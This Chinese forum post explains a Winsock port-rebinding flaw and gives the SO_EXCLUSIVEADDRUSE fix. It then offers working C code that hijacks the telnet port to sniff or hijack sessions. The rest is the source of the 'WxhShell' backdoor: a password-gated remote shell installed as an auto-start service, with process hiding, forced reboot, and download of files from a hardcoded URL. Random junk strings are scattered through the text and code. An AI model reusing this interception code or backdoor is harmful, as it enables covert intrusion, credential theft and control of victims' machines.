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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  Bgai|l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $"#M:V @  
$}EARW9  
  saddr.sin_family = AF_INET; n"Jj'8k  
hqwsgJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wzZ]| C(vp  
YfNN&G4_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Iv{iJoe;UH  
QD1&"T<.d.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U@(8)[?nxn  
/gn\7&=P  
  这意味着什么?意味着可以进行如下的攻击: >,rzPc)  
|C,]-mJG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jP<6Q|5F  
TPY&O{ q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u{dkUG1ia  
u/N_62sk5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dN){w _  
CurU6x1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?Qts2kae#  
)5Cqyp~P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PAVlZ}kj  
+LF=oM<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]n$ v ^  
5cl^:Ua  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V=+p8nE0  
TaKCN   
  #include "`'+@KlE  
  #include ur]WNk8bN  
  #include FtWO[*#  
  #include    `eGp.[ffT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jASK!3pY  
  int main() `G>|g^6%i  
  { ~u?rjkSFoh  
  WORD wVersionRequested; v v   
  DWORD ret; 'OMl9}M  
  WSADATA wsaData; SO~pe$c-  
  BOOL val; Yt r*"-  
  SOCKADDR_IN saddr; MJK PpQ(,  
  SOCKADDR_IN scaddr; .&K?@T4l  
  int err; XD[9wd5w8  
  SOCKET s; lHu/pSu@k  
  SOCKET sc; 9(bbV5}  
  int caddsize; GW9,%}l^;  
  HANDLE mt; 'n?"f|G  
  DWORD tid;   w}29#F\]R  
  wVersionRequested = MAKEWORD( 2, 2 ); \`8F.oZ^)  
  err = WSAStartup( wVersionRequested, &wsaData ); {4%ddJn[.)  
  if ( err != 0 ) { E>"SC\#7  
  printf("error!WSAStartup failed!\n"); "`w*-O  
  return -1; viVn  
  } R!rMrWX  
  saddr.sin_family = AF_INET; TdoH(( nY  
   Fo]]j=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bnE&-N*  
LI"N^K'z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /4+*!X  
  saddr.sin_port = htons(23); CKDg3p';  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y!j>_m){w  
  { 26j-1c!NGd  
  printf("error!socket failed!\n"); `EiL~*  
  return -1; LBcqFvj{&  
  } %Wc$S]>i  
  val = TRUE; #4Cf-$J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lB|.TCbW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :[Ie0[H/M  
  { #;"lBqxY`  
  printf("error!setsockopt failed!\n"); zEeix,IU  
  return -1; gOaK7A  
  }  7re4mrC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X0KUnxw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d~b @F&mf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GVdJ&d\x  
/EvT%h?p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6p 14BruV  
  { Rr\fw'  
  ret=GetLastError(); X)8Edw[?N3  
  printf("error!bind failed!\n"); i2\CDYP  
  return -1; \9} -5  
  } g#5t8w  
  listen(s,2); I;mc:@R<  
  while(1) Ej`G(  
  { ?Y9VviC  
  caddsize = sizeof(scaddr); B^x}=Z4  
  //接受连接请求 Fk?KR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HA0yX?f]  
  if(sc!=INVALID_SOCKET) h:vI:V[/X  
  { y!\q ', F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qmnW  
  if(mt==NULL) , w_C~XN$t  
  { g;y*F;0@  
  printf("Thread Creat Failed!\n"); 5WtI.7r  
  break; &hzr(v~;  
  } 1_LGlu~&  
  } C,{ Ekbg  
  CloseHandle(mt); )/{~&L U  
  } A{52T]9X  
  closesocket(s); j*_#{niy:  
  WSACleanup(); 5)M#hx%]#  
  return 0; o^BX:\}  
  }   Vb~;"WABo  
  DWORD WINAPI ClientThread(LPVOID lpParam) l +O\oD?-  
  { b28C (  
  SOCKET ss = (SOCKET)lpParam; SLud}|f;o  
  SOCKET sc; 9cMMkOM J  
  unsigned char buf[4096]; (HeIO  
  SOCKADDR_IN saddr; :NWrbfz  
  long num; 83{v_M  
  DWORD val; @OC*:?!4  
  DWORD ret;  /?6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;7!u(XzN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T{ /\q 5  
  saddr.sin_family = AF_INET; E^m2:J]G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ak2Vf0Eb  
  saddr.sin_port = htons(23); ?&.Eg^a"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hHsO?([99  
  { {^K&9sz  
  printf("error!socket failed!\n"); e\]CZ5hs3  
  return -1; SJ:Wr{ Or3  
  } mmEe@-lE  
  val = 100; ~G~:R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0"`|f0}c  
  { <9?`zo$y  
  ret = GetLastError(); 'S; l"  
  return -1; $60]RCu  
  } L$f:D2Ei  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rE.z.r"O  
  { 2iWxx:e  
  ret = GetLastError(); g0RfvR  
  return -1; Il<ezD{  
  } \J{ %xW>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =]sM,E,n  
  { 4)d#dy::\  
  printf("error!socket connect failed!\n"); .A <n2-  
  closesocket(sc); ':T6m=yv  
  closesocket(ss); TfFH!1^+  
  return -1; rcjj( C  
  } 1?T^jcny:M  
  while(1) 6X GqZ!2  
  { h)yAg e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j}$Q`7-wB1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &0euNHH;sL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i>@"&  
  num = recv(ss,buf,4096,0); @!Q\| <  
  if(num>0) ZN(@M@}  
  send(sc,buf,num,0); I~7eu&QZ  
  else if(num==0) B_|jDH#RyJ  
  break; x^6sjfAW  
  num = recv(sc,buf,4096,0); \jByJCN  
  if(num>0) dn= g!=  
  send(ss,buf,num,0); 62J -)~_  
  else if(num==0) BO-=X 78f@  
  break; ^2!l/(?  
  } l":Z. J  
  closesocket(ss); ;S^7Q5-  
  closesocket(sc); pkEqd"G  
  return 0 ; OYNPZRu  
  } 0p ZX_L'  
o2NU~Ub  
E3o J;E  
========================================================== /'>#1J|TlK  
cvQ MZ,p  
下边附上一个代码,,WXhSHELL dK?vg@|'  
4krK CD>|G  
========================================================== YW)& IA2  
ZG)%vB2c  
#include "stdafx.h" (]p,Z <f  
{t<U:*n2  
#include <stdio.h> `$N AK  
#include <string.h> L\H,cimN  
#include <windows.h> [|\BuUT'  
#include <winsock2.h> <Q? X'.  
#include <winsvc.h> <YBA 7i  
#include <urlmon.h> JGKiVBN  
IH0qx_;P&  
#pragma comment (lib, "Ws2_32.lib") BF>3CW7  
#pragma comment (lib, "urlmon.lib") 3 ~^}R  
&5F@u IA  
#define MAX_USER   100 // 最大客户端连接数 7\1bq&a<  
#define BUF_SOCK   200 // sock buffer R} aHo0r  
#define KEY_BUFF   255 // 输入 buffer <hbxerg  
MUU9IMFJ  
#define REBOOT     0   // 重启 dzPwlCC%-  
#define SHUTDOWN   1   // 关机 Z2u5n`K  
2kU=9W6ND  
#define DEF_PORT   5000 // 监听端口 Td>Lp=0rU  
RA~%Cw4t  
#define REG_LEN     16   // 注册表键长度 N_"mC^Vx  
#define SVC_LEN     80   // NT服务名长度 !|gln)|A  
:svRn9_8H  
// 从dll定义API 5n'C6q "  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m;d#*}n\p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7'9~Kx&+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Iz<}>J B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IT_Fs|$  
5%n  
// wxhshell配置信息 W{2(fb  
struct WSCFG { 8P'zQ:#RV  
  int ws_port;         // 监听端口 @ \(*pa  
  char ws_passstr[REG_LEN]; // 口令 Dk XB  
  int ws_autoins;       // 安装标记, 1=yes 0=no RwC1C(ZP  
  char ws_regname[REG_LEN]; // 注册表键名 #(G#O1+  
  char ws_svcname[REG_LEN]; // 服务名 e8"?Qm7 J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GY%48}7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G&/RJLX|w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s'/ g:aJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^q0Ox&X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *@2?_b}A ^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m# ]VdO'f  
`:XrpD  
}; sA u ;i  
Vg)]F+E  
// default Wxhshell configuration RRGCO+)*  
struct WSCFG wscfg={DEF_PORT, `_{^&W WS  
    "xuhuanlingzhe", 3+/{}rv  
    1, 0oFRcU  
    "Wxhshell", x !o>zT\  
    "Wxhshell", F(i@Gm=J]  
            "WxhShell Service", Htf|VpzMb  
    "Wrsky Windows CmdShell Service", s5TPecd  
    "Please Input Your Password: ", ?Rj)x%fN  
  1, ie!ik  
  "http://www.wrsky.com/wxhshell.exe", _ ecKX</Q  
  "Wxhshell.exe" (Wu_RXfCw_  
    }; yI 6AafS~  
W c"f  
// 消息定义模块 ]#N~r&hmQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M#Vl{ b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v]tbs)x;h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <-:gaA`KM  
char *msg_ws_ext="\n\rExit."; [p+6HF  
char *msg_ws_end="\n\rQuit."; e!67Na0X(  
char *msg_ws_boot="\n\rReboot..."; 9 L{JU  
char *msg_ws_poff="\n\rShutdown..."; NyTv~8A`)  
char *msg_ws_down="\n\rSave to "; #Cda8)jl(  
&?=UP4[oif  
char *msg_ws_err="\n\rErr!"; W^Jh'^E  
char *msg_ws_ok="\n\rOK!"; U[b $VZ}  
4Y[uqn[  
char ExeFile[MAX_PATH];  S oY=  
int nUser = 0; _T 5ZL  
HANDLE handles[MAX_USER]; bt/u^E  
int OsIsNt; i-'rS/R  
`)[bu  
SERVICE_STATUS       serviceStatus; tU02t#8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !dVth)UV  
9I:H=5c  
// 函数声明 {U&*8Q(/  
int Install(void); ]R8}cbtU  
int Uninstall(void); ROr..-[u  
int DownloadFile(char *sURL, SOCKET wsh); P d@y+|  
int Boot(int flag); *t'q n   
void HideProc(void); TM8WaH   
int GetOsVer(void); t7#C&B  
int Wxhshell(SOCKET wsl); 8lo /BGxS>  
void TalkWithClient(void *cs); fD#VI   
int CmdShell(SOCKET sock); xG05OqKpE  
int StartFromService(void); p-H q\DP  
int StartWxhshell(LPSTR lpCmdLine); ).0h4oHSj  
R!i9N'gGG(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $:R"IqDG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \Ze"Hv  
`Tx1?]  
// 数据结构和表定义 :bx q%D%|o  
SERVICE_TABLE_ENTRY DispatchTable[] = LY%`O#i.  
{ C ebl"3Q  
{wscfg.ws_svcname, NTServiceMain}, G!J{$0.  
{NULL, NULL} x;,H>!r"i  
}; }\E2Z[  
smLXNO  
// 自我安装 `b^eRnpR  
int Install(void) OchIEF "N  
{ 72qbxPY13h  
  char svExeFile[MAX_PATH]; f>Mg.9gJ(  
  HKEY key; 51Yq>'8  
  strcpy(svExeFile,ExeFile); 0^VA,QkQ\  
5+<<:5_6l  
// 如果是win9x系统,修改注册表设为自启动 Zb)j2Xgl  
if(!OsIsNt) { []D@"Bz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $okGqu8z.O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "=0#pH1o  
  RegCloseKey(key); Y4Hi<JWo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n%lY7.z8d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _u$X.5Q;  
  RegCloseKey(key); io_4d2uBh  
  return 0; ?d)I!x,;;  
    } J+3PUfg>@R  
  } 20G..>zW  
} \Lxsg! wtJ  
else { Y]ML-smN  
.` z](s  
// 如果是NT以上系统,安装为系统服务 &[*F!=%8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t1,sG8Z  
if (schSCManager!=0) Aen)r@Y:  
{ wXv\[z L`  
  SC_HANDLE schService = CreateService Hn%n>Bnl  
  ( iX8& mUR  
  schSCManager, ,}i`1E1=  
  wscfg.ws_svcname, Z }(,OZh  
  wscfg.ws_svcdisp, Z!Njfq5  
  SERVICE_ALL_ACCESS, -AUdBG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {O-,JCq/  
  SERVICE_AUTO_START, aZGX`;3  
  SERVICE_ERROR_NORMAL, w,(e,8#:  
  svExeFile, )K2,h5zU  
  NULL, J>(I"K%  
  NULL, <S'5`-&  
  NULL, EGYYSoBLU  
  NULL, {FO>^~>l  
  NULL 6$TE-l  
  ); xWX1P%`  
  if (schService!=0)  l`x;Og>a  
  { nmlQ-V-  
  CloseServiceHandle(schService); >'4Bq*5>  
  CloseServiceHandle(schSCManager); k23*F0Dv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vk/CV2  
  strcat(svExeFile,wscfg.ws_svcname); mAkR<\?iTF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *Z*4L|zT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d5gYJ/Qv  
  RegCloseKey(key); ?ic7M  
  return 0; ^J3\ U{B  
    } qF m=(J%  
  } 9s\;,!b  
  CloseServiceHandle(schSCManager); ek~bXy{O`  
} XJl2_#  
} *rPUVhD_  
5a1)`2V2M  
return 1; iGmBG1a\  
} >'3J. FY  
:*V1jp+  
// 自我卸载 ^;0.P)yGA  
int Uninstall(void) 3dG[dYj  
{ ^a~^$PUqI  
  HKEY key; ~W'>L++  
\^9SuZ  
if(!OsIsNt) { "Gx(-NH+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iJ HOLz"!  
  RegDeleteValue(key,wscfg.ws_regname); H~1&hF"d  
  RegCloseKey(key); J_A+)_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bV_@!KL$  
  RegDeleteValue(key,wscfg.ws_regname); Sns`/4S?6Z  
  RegCloseKey(key); W)^0~[`i  
  return 0; Gj]*_"T  
  } z-*/jFE  
} .Cfi/  
} %jKbRiz1u  
else { $qk2!  
2 F3U,}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T0xU}  
if (schSCManager!=0) *C*n( the  
{ 5/-{.g   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5\Sm^t|Tx  
  if (schService!=0) yrO \\No#H  
  { %k(V 2]WF  
  if(DeleteService(schService)!=0) { AL%H$I  
  CloseServiceHandle(schService); aW-'Jg=@H^  
  CloseServiceHandle(schSCManager); Bi?+e~R  
  return 0; Id3i qAL  
  } CO!K[ q#  
  CloseServiceHandle(schService); k^-HY[Q9  
  } jRP.Je@t  
  CloseServiceHandle(schSCManager); ;`IZ&m$  
} c` ^I% i  
} rJ)O(  
)N!-g47o%#  
return 1; ]Z?$ 5Ks  
} ~3bn?'`  
Jsf -t  
// 从指定url下载文件 2aiZ  
int DownloadFile(char *sURL, SOCKET wsh) yD6lzuk{X  
{ -}nTwx:|5u  
  HRESULT hr; ^Wk.D-  
char seps[]= "/"; 6j9P`#Lt  
char *token; |V#h "s  
char *file; Gz)]1Z{%$  
char myURL[MAX_PATH]; ,zmGKn#n2  
char myFILE[MAX_PATH]; z7X[$T$V  
_:4n&1{.E  
strcpy(myURL,sURL); #Pi}2RBRu  
  token=strtok(myURL,seps); hawE2k0p(  
  while(token!=NULL) S~auwY,<  
  { 6A$ \I44  
    file=token; _l}"gUtiw  
  token=strtok(NULL,seps); _U<sz{6  
  } u`Kjs}F'  
_:|/4.]`_  
GetCurrentDirectory(MAX_PATH,myFILE); \Q[u?/TF  
strcat(myFILE, "\\"); n DLr17  
strcat(myFILE, file); zx  
  send(wsh,myFILE,strlen(myFILE),0); wIT0A-Por4  
send(wsh,"...",3,0); NYb eIfL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4#H~g @  
  if(hr==S_OK) $agd9z,&m  
return 0; noz&4"S.{  
else 7U_~_yb  
return 1; G&FA~c  
<{U "0jY!9  
} h?H:r <  
G  @ib  
// 系统电源模块 p7y8/m\6  
int Boot(int flag) ?ysC7 ((  
{ KrNu7/H  
  HANDLE hToken; (vHB`@x  
  TOKEN_PRIVILEGES tkp; ;<qv-$P  
RM2<%$  
  if(OsIsNt) { G5~ Jp#uA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nY7 ZK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XBi}hT  
    tkp.PrivilegeCount = 1; Gb]t%\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nRKh|B)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4?GW]'d  
if(flag==REBOOT) { W| S{v7[l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cf#[E~24  
  return 0; (dl7+  
} Y> }[c   
else { D,Ft*(|T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5x";}Vp>P  
  return 0; 0. _)X  
} Z>GqLq\`ed  
  } <C0~7]XO  
  else { %<cfjo  
if(flag==REBOOT) { *^]Hqf(`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <4!SQgL  
  return 0; Z["[^=EP  
} JY4sB8  
else { H4#|f n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f>d aK9$(  
  return 0; V> K sbPqR  
} sBozz#  
} 7Ddo ^Gtx  
9z)p*+r UK  
return 1; R{zAs?j  
} ,[6N64fy  
no_(J>p^&  
// win9x进程隐藏模块 #Fx$x#Gc@y  
void HideProc(void) 8I o--Ew3  
{  [wS~.  
6 Fz?'Xf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G:TM k4  
  if ( hKernel != NULL ) ]oy>kRnb {  
  { wm>I;|gA)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZuV/!9qU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 24u;'i-y5  
    FreeLibrary(hKernel); v[efM8  
  } 0"q^`@sZ  
$ekJs/I&  
return; qi!Nv$e  
}  [o]^\a y  
*m_B#~4  
// 获取操作系统版本 o/uA_19  
int GetOsVer(void) zqqu7.`  
{ vMBF7Jfx  
  OSVERSIONINFO winfo; ?2D1gjr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D@ :w/W  
  GetVersionEx(&winfo); *$uj)*5,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +k=BD s  
  return 1; W-9?|ei  
  else !KiN} p  
  return 0; l#!p?l  
} 5$C4Ui{<E'  
BJzNh>-#=  
// 客户端句柄模块 ESdjDg$[u  
int Wxhshell(SOCKET wsl) -8;@NAUa  
{ NYS |fa  
  SOCKET wsh; {Vy2uow0  
  struct sockaddr_in client; }cDw9;~D  
  DWORD myID; laVqI|0q  
[v7)xV@c  
  while(nUser<MAX_USER) 5&}~W)"9  
{ iwJeV J  
  int nSize=sizeof(client); zd1X(e<|{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F/BB]gUB  
  if(wsh==INVALID_SOCKET) return 1; 5r#0/1ym!  
EA@p]+P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7GN>o@t  
if(handles[nUser]==0) 5#Z>}@/  
  closesocket(wsh); QIZ }7  
else Gn}G$uk61  
  nUser++; <pAN{:  
  } y7[D9ZvZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !/pE6)a  
t?& a?6:J  
  return 0; 1=fP68n  
} W( O)J$j  
M<'AM4  
// 关闭 socket fB~BVYi  
void CloseIt(SOCKET wsh) tqdw y.  
{ ]w2nVC 3  
closesocket(wsh); S.,om;`  
nUser--; ^Fmp"[q  
ExitThread(0); 5[^pU$Y  
}  \*5`@>_  
tPDd~fOk  
// 客户端请求句柄 ANuIPF4NxP  
void TalkWithClient(void *cs) 1Yj^N" =  
{ +&t`"lRl&  
u} y)'eH  
  SOCKET wsh=(SOCKET)cs;  "u#T0  
  char pwd[SVC_LEN]; x8L$T (^  
  char cmd[KEY_BUFF]; LQy`,-&  
char chr[1]; s*A#;  
int i,j; rnB-e?>  
}= )  
  while (nUser < MAX_USER) { zCOzBL/1q  
g\%vkK&I  
if(wscfg.ws_passstr) { D]NfA2B7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eUa2"=M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yv="oG!xL  
  //ZeroMemory(pwd,KEY_BUFF); d9'gH#f?  
      i=0; &YAw~1A  
  while(i<SVC_LEN) { P2lDi!q|  
~0S_S+e  
  // 设置超时 sj@B0R=Qo  
  fd_set FdRead; ^zdZ"\x  
  struct timeval TimeOut; Z_Tu* F  
  FD_ZERO(&FdRead); "?_r?~sJx  
  FD_SET(wsh,&FdRead); !'E{D`A9  
  TimeOut.tv_sec=8; 0taopDi ;d  
  TimeOut.tv_usec=0; aTJs.y -I~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?V3kIb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } v#Tm  
La$*)qD,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :C%cnU;N  
  pwd=chr[0]; B2}|b^'I  
  if(chr[0]==0xd || chr[0]==0xa) { R?,Oh*  
  pwd=0; %<4ZU!2L  
  break; eVDO]5?  
  } "qb1jv#to  
  i++; 1y/_D$~ZO  
    } 3`V #ImV>  
5W UM"eBwL  
  // 如果是非法用户,关闭 socket -b?yzg, 8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )ad-p.Hus  
} <F~0D0G  
^ +e5 M1U=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~,199K#'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U _QCe+  
I/F3%'O  
while(1) { dd$}FlT  
Vn4y^_H  
  ZeroMemory(cmd,KEY_BUFF); =!@5!  
gO{XD.s  
      // 自动支持客户端 telnet标准   KJ/ *BBf  
  j=0; HY (|31  
  while(j<KEY_BUFF) { D_n(T ')  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )0RznFJ+X  
  cmd[j]=chr[0]; BQ\o?={  
  if(chr[0]==0xa || chr[0]==0xd) { P, (#' W  
  cmd[j]=0; P5vxQR_*lc  
  break; @j|B1:O  
  } @Yv+L)  
  j++; *3,Kn}ik  
    } (5-4`:1ux  
5Z2tTw'i  
  // 下载文件 ?8{x/y:  
  if(strstr(cmd,"http://")) { 1:L _qL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t%xD epFQ  
  if(DownloadFile(cmd,wsh)) h5vvizruy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jJ(()EJ  
  else 82mKI+9&"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5]c'n  
  } x)+3SdH  
  else { ]VarO'  
4 w$f-   
    switch(cmd[0]) { Q db~I#}m'  
  .Xq4QR .  
  // 帮助 7'pmW,;  
  case '?': { n/>^!S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @k"Q e&BQ  
    break; :Adx7!6  
  } @U~i<kt  
  // 安装 Wr3).m52}P  
  case 'i': { >= G{.H  
    if(Install()) Zx%ib8| j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $i:wS= w'  
    else 2YU-iipdOq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -F7GUB6B  
    break; WAzYnl'p  
    } =.*+c\  
  // 卸载 |H!kU.f]  
  case 'r': { mBp3_E.t  
    if(Uninstall()) PNjZbOmzS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @W{VT7w  
    else &}YJ"o[I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Py&DnG'H  
    break; 'G6M:IXno  
    } dtXA EL\q  
  // 显示 wxhshell 所在路径 mX4u#$xs:  
  case 'p': { +Wr"c  
    char svExeFile[MAX_PATH]; I U Mt^z  
    strcpy(svExeFile,"\n\r"); 2HxT+|~d6  
      strcat(svExeFile,ExeFile); 88K=jo))b  
        send(wsh,svExeFile,strlen(svExeFile),0); ?1DA  
    break; s>pOfXIx  
    } ,3m]jp'  
  // 重启 IvW%n(a8^  
  case 'b': { s8/sH];  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f3g#(1  
    if(Boot(REBOOT)) uQ}0hs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `oDs]90  
    else { %[l*:05  
    closesocket(wsh); |^uU&O;.  
    ExitThread(0); lur$?_gt  
    } m'L7K K-Y)  
    break; 'aq9]D_k  
    } Z~JX@s0v  
  // 关机 3)? v  
